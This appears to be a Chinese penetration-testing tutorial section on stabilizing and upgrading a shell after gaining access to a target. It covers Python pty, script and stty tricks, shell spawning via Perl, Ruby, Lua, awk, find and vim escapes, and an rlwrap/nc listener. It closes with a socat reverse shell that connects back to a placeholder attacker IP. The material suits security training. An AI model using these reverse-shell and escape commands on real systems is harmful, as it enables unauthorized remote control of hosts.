概念
在上一节中,我们已经与目标建立了一个 shell 会话。
但是,通过 nc、webshell、命令执行漏洞拿到的 shell,通常只是一个基础 shell,可能存在以下问题:
- 没有完整 TTY
- 没有命令提示符
- 无法正常使用
sudo/su vim、less、top等交互式程序异常- Ctrl+C、Tab 补全、方向键、清屏异常
- 没有 job control
因此,拿到 shell 后通常需要做两件事:
- 生成交互式 shell
- 升级 TTY / 稳定 shell
判断是否存在tty
使用下面的命令判断当前 shell 是否拥有完整终端:
tty
如果显示not a tty,则说明无完整tty
如果显示类似:/dev/pts/0,说明存在tty
升级 TTY / 稳定 Shell
这类方法的作用是:
给当前 shell 补一个伪终端,使其更接近正常 SSH 登录后的终端。
适用于:
tty
显示:
not a tty
或者出现以下情况:
sudo/su无法正常交互- 密码输入异常
vim/less/top无法正常使用- Ctrl+C 会断开 shell
- 方向键、Tab 补全、清屏异常
使用 Python pty 升级 TTY
如果目标机存在 Python,可以使用:
python3 -c 'import pty; pty.spawn("/bin/bash")'
如果没有 bash:
python3 -c 'import pty; pty.spawn("/bin/sh")'
如果系统只有 Python2:
python -c 'import pty; pty.spawn("/bin/bash")'
或者:
python -c 'import pty; pty.spawn("/bin/sh")'
说明:pty.spawn() 可以创建一个伪终端,并在伪终端中启动指定 shell。
使用 script 升级 TTY
如果目标机没有 Python,但存在 script 命令,可以使用:
script -qc /bin/bash /dev/null
如果没有 bash:
script -qc /bin/sh /dev/null
有些系统需要写完整路径:
/usr/bin/script -qc /bin/bash /dev/null
参数说明:
- -q 静默模式
- -c /bin/bash 执行 /bin/bash
- /dev/null 不保存终端记录
作用:通过 script 创建伪终端,并在其中启动 bash。
完整稳定化流程
只执行 python pty 或 script 后,shell 可能仍然不够稳定。
通常还需要配合攻击机本地的 stty。
拿到 shell 后,先在目标 shell 中执行:
python3 -c 'import pty; pty.spawn("/bin/bash")'
或者:
script -qc /bin/bash /dev/null
然后按:
Ctrl + Z
回到攻击机终端后执行:
stty raw -echo; fg
回到目标 shell 后输入:
reset
然后设置终端环境:
export TERM=xtermstty rows 40 columns 120
最终效果会更接近正常 SSH 终端。
生成交互式 Shell
这类方法的作用是:
从当前命令执行环境中启动一个 shell。
常见于:
- 反弹 shell 后没有提示符
- webshell 中想调用系统 shell
- 某些程序支持执行系统命令
- 受限环境中需要逃逸到
/bin/sh
注意:
这些方法通常只能生成交互式 shell,不一定能补全 TTY。
/bin/sh -i
/bin/sh -i
常见回显:
sh: no job control in this shell
说明当前 shell 虽然可以交互,但没有完整 job control。
/bin/bash -i
/bin/bash -i
如果目标系统存在 bash,优先使用 bash:
/bin/bash -i
如果没有 bash,再使用 sh:
/bin/sh -i
Perl 生成 Shell
如果目标系统存在 Perl,可以使用 Perl 执行 shell:
perl -e 'exec "/bin/sh";'
或者:
perl -e 'exec "/bin/bash";'
Ruby 生成 Shell
如果目标系统存在 Ruby,可以使用:
ruby -e 'exec "/bin/sh"'
或者:
ruby -e 'exec "/bin/bash"'
Lua 生成 Shell
如果目标系统存在 Lua,可以使用 os.execute 执行 shell:
lua -e 'os.execute("/bin/sh")'
或者:
lua -e 'os.execute("/bin/bash")'
awk 生成 Shell
awk 也可以调用系统命令启动 shell:
awk 'BEGIN {system("/bin/sh")}'
或者:
awk 'BEGIN {system("/bin/bash")}'
find 生成 Shell
find 可以通过 -exec 参数执行 shell:
find . -exec /bin/sh \; -quit
或者:
find . -exec /bin/bash \; -quit
如果目标环境中某些命令可以通过 find 调用,也可以配合 awk:
find . -name nameoffile -exec awk 'BEGIN {system("/bin/sh")}' \;
Vim 逃逸到 Shell
如果当前环境可以运行 vim,可以使用:
vim -c ':!/bin/sh'
或者进入 vim 后执行:
:set shell=/bin/sh:shell
如果目标系统有 bash,也可以改成:
:set shell=/bin/bash:shell
辅助改善交互体验
rlwrap
rlwrap 是在攻击机上使用的,不是在目标机上使用。
普通监听:
nc -lvnp 1234
可以改成:
rlwrap -cAr nc -lvnp 1234
作用:
改善方向键、历史命令、退格等输入体验。
注意:
rlwrap 不能真正给目标 shell 创建 TTY,只是改善攻击机本地输入体验。
2socat 获取更完整 TTY
如果目标机和攻击机都有 socat,可以使用 socat 建立更稳定的 TTY shell。
攻击机监听:
socat file:`tty`,raw,echo=0 tcp-listen:4444
目标机反连:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:攻击机IP:4444
socat 效果通常比普通 nc 更好,但目标机不一定安装。
检查目标机是否存在 socat:
which socat